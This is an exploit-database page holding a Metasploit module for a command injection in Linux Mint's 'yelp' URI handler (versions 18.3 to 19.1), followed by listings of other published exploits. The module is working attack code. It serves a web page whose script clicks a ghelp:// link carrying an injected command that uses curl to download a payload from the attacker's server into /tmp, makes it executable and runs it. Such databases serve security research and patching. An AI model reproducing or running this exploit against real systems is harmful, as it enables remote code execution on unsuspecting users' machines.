Menu

Search for hundreds of thousands of exploits

"Linux Mint 18.3-19.1 - 'yelp' Command Injection"

Author

Exploit author

b1ack0wl

Platform

Exploit platform

linux

Release date

Exploit published date

2019-07-01

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# Exploit from github repro: https://github.com/b1ack0wl/linux_mint_poc
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Linux Mint 'yelp' URI handler command injection vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within 
          Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call 
          the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument. 
          The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either 
          of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit 
          this vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'b1ack0wl' # vuln discovery and exploit dev
        ],
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'WfsDelay' => 60
        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Linux Mint 18.3 and 19.1',
            {
              'Arch' => ARCH_X64
            } 
          ]
        ],
      'Privileged'     => false,
      'DefaultTarget'  => 0))
  end

  def generate_exploit_html()
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = datastore['LHOST']
    else
      srv_host = datastore['SRVHOST']
    end
    @filename = rand_text_alpha(4)
    cmd_inj = "curl http://#{srv_host}:#{datastore['SRVPORT']}/#{@service_path} -o /tmp/#{@filename};chmod 777 /tmp/#{@filename};/tmp/#{@filename} &".gsub(' ','$IFS$()') # Cheap way to add spaces since chrome percent encodes spaces (%20).
    html = %Q|
    <html>
    <head>
      <meta content="text/html;charset=utf-8" http-equiv="Content-Type">
      <meta content="utf-8" http-equiv="encoding">
      <title>paparoachfanclubdotcom</title>
    </head>
    <body>
    <script>
      lmao = document.createElement('a');
      lmao.href= "ghelp://$(#{cmd_inj})";
      document.body.appendChild(lmao); /* Needed to work with Firefox */
      lmao.click();
    </script>
    </body>
    </html>
    |
    return html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    if agent =~ /curl\/\d/
      # Command has been executed. Serve up the payload
      exe_payload = generate_payload_exe()
      print_status("Sending payload...")
      send_response(cli, exe_payload)
      register_file_for_cleanup("/tmp/#{@filename}")
      return
    else
      html = generate_exploit_html()
      print_status("Sending HTML...")
      send_response(cli, html, {'Content-Type'=>'text/html'})
    end
  end
end
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-11-13 "ASUS TM-AC1900 - Arbitrary Command Execution (Metasploit)" webapps hardware b1ack0wl
2019-07-01 "Linux Mint 18.3-19.1 - 'yelp' Command Injection" remote linux b1ack0wl
2019-01-29 "MiniUPnPd 2.1 - Out-of-Bounds Read" dos linux b1ack0wl
2016-09-04 "Belkin F9K1122v1 1.00.30 - Buffer Overflow (via Cross-Site Request Forgery)" webapps hardware b1ack0wl
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.